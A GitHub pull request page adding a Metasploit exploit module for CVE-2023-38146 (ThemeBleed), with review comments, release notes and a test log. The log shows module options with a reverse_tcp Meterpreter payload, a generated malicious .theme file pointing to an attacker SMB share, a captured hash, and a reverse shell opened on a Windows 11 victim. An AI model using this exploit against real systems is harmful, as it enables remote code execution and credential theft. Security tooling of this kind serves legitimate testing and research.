-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Working Module for CVE-2023-38146 #18404
Working Module for CVE-2023-38146 #18404
Conversation
CC @gabe-k :) |
|
a57b227
to
95eb4cc
Compare
After some serious help from Christophe and Spencer, this is finally ready for review. As a future thing, adding the ability to package the theme as a themepack file (AKA a cab file) would be nice, but this needs to get landed and it is easy enough to run |
Windows 11 build 2200I used the aero.msstyles file from my Windows 10 host.
|
documentation/modules/exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146.md
Show resolved
Hide resolved
documentation/modules/exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146.md
Outdated
Show resolved
Hide resolved
modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
Outdated
Show resolved
Hide resolved
modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb
Outdated
Show resolved
Hide resolved
Merge branch 'update-38146' into exploit/cve-2023-38146
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I just successfully retested the latest changes and everything is looking good.
Testing Output
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options
Module options (exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE no Share (Default Random)
SRVHOST 192.168.159.128 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
STYLE_FILE /home/smcintyre/Repositories/themebleed/data/aero.msstyles yes The Microsoft-signed .msstyles file (e.g. aero.msstyles).
STYLE_FILE_NAME Aero yes The name of the style file to reference.
THEME_FILE_NAME exploit.theme yes The name of the theme file to generate.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > [*] Started reverse TCP handler on 192.168.159.128:4444
[*] Server is running. Listening on 192.168.159.128:445
[*] Server started.
[+] exploit.theme stored at /home/smcintyre/.msf4/local/exploit.theme
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > cat /home/smcintyre/.msf4/local/exploit.theme
[*] exec: cat /home/smcintyre/.msf4/local/exploit.theme
[Theme]
DisplayName=@%SystemRoot%\System32\themeui.dll,-2060
[Control Panel\Desktop]
Wallpaper=%SystemRoot%\web\wallpaper\Windows\img0.jpg
TileWallpaper=0
WallpaperStyle=10
[VisualStyles]
Path=\\192.168.159.128\RDCXWb\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
[MasterThemeSelector]
MTSM=RJSPBS
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) >
[*] Received SMB connection from 192.168.159.70
[*] Skipping previously captured hash for .\smcintyre
[*] Sending file to 192.168.159.70
[*] Sending stage (200774 bytes) to 192.168.159.70
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.70:49974) at 2024-01-04 11:19:26 -0500
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: windows-11-vm\smcintyre
meterpreter > sysinfo
Computer : WINDOWS-11-VM
OS : Windows 11 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
Release NotesThis adds an exploit for CVE-2023-38146 AKA ThemeBleed which is a TOCTOU issue in the way Windows handles theme files. The vulnerability can be leveraged to load a payload DLL from Metasploit to execute code within the context of the user who loads it. A legitimate signed theme DLL must be provided in order to use the exploit. |
This is a work in progress and is not currently working.
This adds a module targeting the fileformat vulnerability cve-2023-38146
closes #18367